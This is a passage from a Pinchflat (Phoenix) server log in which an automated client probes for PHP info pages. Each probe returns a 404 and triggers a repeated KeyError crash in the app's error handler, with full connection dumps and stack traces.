0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 141, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /testphp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/testphp.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 141, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12441.0>, params: %{}, path_info: ["testphp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/testphp.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1Q5gtYOwmmYAAKSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router (truncated) 14:08:15.817 [info] GET /infophp.php 14:08:15.818 [debug] QUERY OK source="settings" db=0.4ms idle=698.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:15.819 [debug] QUERY OK source="settings" db=0.7ms idle=690.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:15.820 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:15.820 [error] #PID<0.12442.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 142) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /infophp.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /infophp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/infophp.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 142, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12442.0>, params: %{}, path_info: ["infophp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/infophp.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1STbvrxoUeoAAKSR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/infophp.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 142, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /infophp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/infophp.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 142, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12442.0>, params: %{}, path_info: ["infophp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/infophp.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1STbvrxoUeoAAKSR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router (truncated) 14:08:16.278 [info] GET /php-info.php 14:08:16.279 [debug] QUERY OK source="settings" db=0.2ms idle=837.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:16.280 [debug] QUERY OK source="settings" db=0.9ms idle=836.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:16.280 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:16.281 [error] #PID<0.12443.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 143) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /php-info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php-info.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 143, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12443.0>, params: %{}, path_info: ["php-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/php-info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1UBViYOvA7QAAKSh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php-info.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 143, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php-info.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 143, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12443.0>, params: %{}, path_info: ["php-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/php-info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1UBViYOvA7QAAKSh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Ro (truncated) 14:08:16.685 [info] GET /info_php.php 14:08:16.687 [debug] QUERY OK source="settings" db=0.5ms idle=867.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:16.687 [debug] QUERY OK source="settings" db=0.4ms idle=867.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:16.688 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:16.688 [error] #PID<0.12444.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 144) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /info_php.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info_php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info_php.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 144, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12444.0>, params: %{}, path_info: ["info_php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/info_php.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1VijKjTGnKMAAKSx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info_php.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 144, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info_php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info_php.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 144, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12444.0>, params: %{}, path_info: ["info_php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/info_php.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1VijKjTGnKMAAKSx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Ro (truncated) 14:08:17.118 [info] GET /t.php 14:08:17.119 [debug] QUERY OK source="settings" db=0.4ms idle=996.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:17.120 [debug] QUERY OK source="settings" db=0.5ms idle=840.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:08:17.120 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:08:17.122 [error] #PID<0.12445.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 145) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /t.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /t (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/t.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 145, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12445.0>, params: %{}, path_info: ["t"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/t.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIlj1XJxUGdODHIAAKTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/t.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ 